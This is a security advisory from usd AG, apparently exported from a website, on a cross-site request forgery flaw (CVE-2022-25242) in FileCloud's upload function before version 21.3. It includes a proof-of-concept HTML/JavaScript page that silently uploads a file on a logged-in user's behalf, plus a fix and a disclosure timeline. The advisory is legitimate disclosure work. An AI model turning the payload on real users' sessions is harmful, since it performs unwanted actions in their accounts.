{"id":18005,"date":"2022-04-14T10:43:30","date_gmt":"2022-04-14T08:43:30","guid":{"rendered":"https:\/\/herolab.usd.de\/?page_id=18005"},"modified":"2022-04-26T13:35:51","modified_gmt":"2022-04-26T11:35:51","slug":"usd-2021-0029","status":"publish","type":"page","link":"https:\/\/herolab.usd.de\/en\/security-advisories\/usd-2021-0029\/","title":{"rendered":"usd-2021-0029"},"content":{"rendered":"<p>[et_pb_section fb_built=\"1\" _builder_version=\"4.16\" _module_preset=\"default\" background_color=\"#2E353D\" custom_padding=\"||0px|||\" global_colors_info=\"{}\"][et_pb_row _builder_version=\"4.16\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_column type=\"4_4\" _builder_version=\"4.16\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_text _builder_version=\"4.16\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\" global_colors_info=\"{}\"]<\/p>\n<h1>usd-2021-0029 (CVE-2022-25242) | FileCloud<\/h1>\n<p><strong>Advisory ID<\/strong>: usd-2021-0029<br \/><strong>CVE ID<\/strong>: CVE-2022-25242<em><br \/><\/em><strong>CVE URL<\/strong>: <a href=\"https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2022-25242\" target=\"_blank\" rel=\"noopener\">https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2022-25242<\/a><br \/><strong>Affected Product<\/strong>: FileCloud<br \/><strong>Affected Versions<\/strong>: &lt;\u00a021.3<br \/><strong>Vulnerability Type<\/strong>: <a href=\"https:\/\/cwe.mitre.org\/data\/definitions\/352.html\" target=\"_blank\" rel=\"noopener\">CWE-352<\/a>: Cross-Site Request Forgery (CSRF)<br \/><strong>Security Risk<\/strong>: Medium<br \/><strong>Vendor URL<\/strong>: <a href=\"https:\/\/www.filecloud.com\/\" target=\"_blank\" rel=\"noopener\">https:\/\/www.filecloud.com\/<\/a>\u00a0<a href=\"https:\/\/www.microsoft.com\/\" target=\"_blank\" rel=\"noopener\"><\/a><br \/><strong>Vendor Status<\/strong>: Fixed<\/p>\n<p><span><\/span><\/p>\n<h3>Description<\/h3>\n<p><em>FileCloud<\/em>'s CSV file upload functionality prior v21.3 is vulnerable to Cross-Site Request Forgery (CSRF).<\/p>\n<p>A Cross-Site Request Forgery (CSRF) attack leads to the execution of unwanted actions in a web application on behalf of a user, who is already logged into the application. When uploading files, the application does not validate an anti-CSRF token. Thus, the request for this functionality can be used for CSRF attacks to force an authenticated user to upload files into their storage.\u00a0<\/p>\n<p><span><\/span><\/p>\n<h3>Proof of Concept (PoC)<\/h3>\n<p>The following screenshot shows the application in its initial state. No files were uploaded by the user at this point.<\/p>\n<p>[\/et_pb_text][et_pb_image src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2022\/02\/filecloud_csrf_fileupload_1.png\" title_text=\"filecloud_csrf_fileupload_1\" _builder_version=\"4.16\" _module_preset=\"default\" global_colors_info=\"{}\"][\/et_pb_image][et_pb_text _builder_version=\"4.16\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\" custom_padding=\"||0px|||\" global_colors_info=\"{}\"]<\/p>\n<p>An attacker can construct a web page containing a button with the following HTML code. When this button is clicked by a user with a valid session in <em>FileCloud<\/em>, a request is executed on behalf of this user and a test file is uploaded without them noticing.<\/p>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.16\" _module_preset=\"9e260d37-0be2-4a12-a10e-3ed7e27b6ac6\" global_colors_info=\"{}\"]<\/p>\n<pre class=\"x-code\">&lt;html&gt;<br \/>&lt;!-- CSRF PoC --&gt;<br \/>&lt;body&gt;<br \/>&lt;script&gt;history.pushState('', '', '\/')&lt;\/script&gt;<br \/>&lt;script&gt;<br \/>function submitRequest()<br \/>{<br \/>var xhr = new XMLHttpRequest();<br \/>xhr.open(\"POST\", \"http:\\\/\\\/localhost\\\/upload?appname=explorer&amp;filesize=19&amp;path=%2Ftest&amp;uploadpath=&amp;offset=0&amp;date=2021-10-14T14:39:13.000Z&amp;filename=file.txt&amp;complete=1\", true);<br \/>xhr.setRequestHeader(\"Accept\", \"application\\\/json, text\\\/plain, *\\\/*\");<br \/>xhr.setRequestHeader(\"Accept-Language\", \"en-US,en;q=0.5\");<br \/>xhr.setRequestHeader(\"Content-Type\", \"multipart\\\/form-data; boundary=---------------------------28669891251189313403517665446\");<br \/>xhr.withCredentials = true;<br \/>var body = \"-----------------------------28669891251189313403517665446\\r\\n\" +<br \/>\"Content-Disposition: form-data; name=\\\"filedata\\\"; filename=\\\"file.txt\\\"\\r\\n\" +<br \/>\"Content-Type: text\/plain\\r\\n\" +<br \/>\"\\r\\n\" +<br \/>\"File was uploaded!\\n\" +<br \/>\"\\r\\n\" +<br \/>\"-----------------------------28669891251189313403517665446--\\r\\n\";<br \/>var aBody = new Uint8Array(body.length);<br \/>for (var i = 0; i &lt; aBody.length; i++)<br \/>aBody[i] = body.charCodeAt(i);<br \/>xhr.send(new Blob([aBody]));<br \/>}<br \/>&lt;\/script&gt;<br \/>&lt;form action=\"#\"&gt;<br \/>&lt;input type=\"button\" value=\"Submit request\" onclick=\"submitRequest();\" \/&gt;<br \/>&lt;\/form&gt;<br \/>&lt;\/body&gt;<br \/>&lt;\/html&gt;<\/pre>\n<p>[\/et_pb_text][et_pb_text _builder_version=\"4.16\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\" custom_margin=\"||27px||false|false\" global_colors_info=\"{}\"]<\/p>\n<p>The web page generated by the attacker can be displayed in an arbitrary style. The following screenshot shows what this page would look like:<\/p>\n<p>[\/et_pb_text][et_pb_image src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2022\/02\/filecloud_csrf_fileupload_2.png\" title_text=\"filecloud_csrf_fileupload_2\" _builder_version=\"4.16\" _module_preset=\"default\" global_colors_info=\"{}\"][\/et_pb_image][et_pb_text _builder_version=\"4.16\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\" custom_margin=\"||27px||false|false\" global_colors_info=\"{}\"]<\/p>\n<p>When a user clicks on the button, a fileupload to FileCloud is performed. The following request will be sent to the server. It is noticeable that there is no anti-CSRF token in the header.<\/p>\n<p>[\/et_pb_text][et_pb_image src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2022\/02\/filecloud_csrf_fileupload_3.png\" title_text=\"filecloud_csrf_fileupload_3\" _builder_version=\"4.16\" _module_preset=\"default\" global_colors_info=\"{}\"][\/et_pb_image][et_pb_text _builder_version=\"4.16\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\" custom_margin=\"||27px||false|false\" global_colors_info=\"{}\"]<\/p>\n<p>The file has been successfully uploaded to the user's share, as displayed in the screenshot below:<\/p>\n<p>[\/et_pb_text][et_pb_image src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/9\/2022\/02\/filecloud_csrf_fileupload_4.png\" title_text=\"filecloud_csrf_fileupload_4\" _builder_version=\"4.16\" _module_preset=\"default\" global_colors_info=\"{}\"][\/et_pb_image][et_pb_text _builder_version=\"4.16\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\" global_colors_info=\"{}\"]<\/p>\n<div class=\"e16902-22 x-container max width\">\n<div class=\"e16902-23 x-column x-sm x-1-1\">\n<h3>Fix<\/h3>\n<p>It is recommended to secure every user action using an anti-CSRF token. Such a token consists of a pseudorandom value which is transmitted with every user request using a hidden field. Upon arrival of a new user request the server validates the anti-CSRF token. The user request is then processed only in case of a successful token validation. Such a token has to be generated at least once for every user session.<\/p>\n<h3><\/h3>\n<h3>References<\/h3>\n<ul>\n<li><a href=\"https:\/\/cwe.mitre.org\/data\/definitions\/352.html\" target=\"_blank\" rel=\"noopener\">https:\/\/cwe.mitre.org\/data\/definitions\/352.html<\/a>\u00a0<\/li>\n<li><a href=\"https:\/\/owasp.org\/www-community\/attacks\/csrf\" target=\"_blank\" rel=\"noopener\">https:\/\/owasp.org\/www-community\/attacks\/csrf<\/a>\u00a0<\/li>\n<li><a href=\"https:\/\/www.filecloud.com\/supportdocs\/display\/cloud\/Advisory+2022-01-2+Threat+of+CSRF+via+File+Upload\" target=\"_blank\" rel=\"noopener\">https:\/\/www.filecloud.com\/supportdocs\/display\/cloud\/Advisory+2022-01-2+Threat+of+CSRF+via+File+Upload<\/a>\u00a0<\/li>\n<\/ul>\n<h3><\/h3>\n<h3>Timeline<\/h3>\n<ul>\n<li>\n<p data-pm-slice=\"1 1 []\">2021-10-19: The vulnerability is identified by Gerbert Roitburd and Tim W\u00f6rner.<\/p>\n<\/li>\n<li>\n<p data-pm-slice=\"1 1 []\"><span style=\"font-size: 16px\">2021-10-20: Initial contact via <\/span><a href=\"mailto:support@codelathe.com\" class=\"ProsemirrorEditor-link\">support@codelathe.com.<\/a><\/p>\n<\/li>\n<li>\n<p data-pm-slice=\"1 1 []\"><a href=\"mailto:support@codelathe.com\" class=\"ProsemirrorEditor-link\"><\/a><span style=\"font-size: 16px\">2021-10-21: Submission of advisories<\/span><\/p>\n<\/li>\n<li>\n<p data-pm-slice=\"1 1 []\"><span style=\"font-size: 16px\"><\/span><span style=\"font-size: 16px\">2021-11-01: The vendor acknowledges the findings and estimates a remediation by the end of 2021.<\/span><\/p>\n<\/li>\n<li>2022-01-06: With the update to v21.3, a fix for the aforementioned vulnerability as well as an advisory are released: <a href=\"https:\/\/www.filecloud.com\/supportdocs\/display\/cloud\/Advisory+2022-01-2+Threat+of+CSRF+via+File+Upload\" target=\"_blank\" rel=\"noopener\">https:\/\/www.filecloud.com\/supportdocs\/display\/cloud\/Advisory+2022-01-2+Threat+of+CSRF+via+File+Upload<\/a> \u00a0<br \/><span style=\"font-size: 16px\"><\/span><\/li>\n<li>2022-04-14: This advisory is published.<\/li>\n<\/ul>\n<h3>Credits<\/h3>\n<p>This security vulnerability was found by Gerbert Roitburd and Tim W\u00f6rner of usd AG.<\/p>\n<\/div>\n<\/div>\n<p>[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section]<\/p>\n","protected":false},"excerpt":{"rendered":"<p>usd-2021-0029 (CVE-2022-25242) | FileCloud Advisory ID: usd-2021-0029CVE ID: CVE-2022-25242CVE URL: https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2022-25242Affected Product: FileCloudAffected Versions: &lt;\u00a021.3Vulnerability Type: CWE-352: Cross-Site Request Forgery (CSRF)Security Risk: MediumVendor URL: https:\/\/www.filecloud.com\/\u00a0Vendor Status: Fixed Description FileCloud's CSV file upload functionality prior v21.3 is vulnerable to Cross-Site Request Forgery (CSRF). A Cross-Site Request Forgery (CSRF) attack leads to the execution of unwanted actions [&hellip;]<\/p>\n","protected":false},"author":100,"featured_media":0,"parent":16124,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"_et_pb_use_builder":"on","_et_pb_old_content":"","_et_gb_content_width":"","inline_featured_image":false,"footnotes":""},"class_list":["post-18005","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/18005","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/users\/100"}],"replies":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/comments?post=18005"}],"version-history":[{"count":0,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/18005\/revisions"}],"up":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16124"}],"wp:attachment":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/media?parent=18005"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}